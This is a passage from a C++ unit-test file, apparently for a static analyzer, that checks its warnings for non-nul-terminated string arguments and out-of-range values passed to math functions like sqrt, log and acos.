f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) 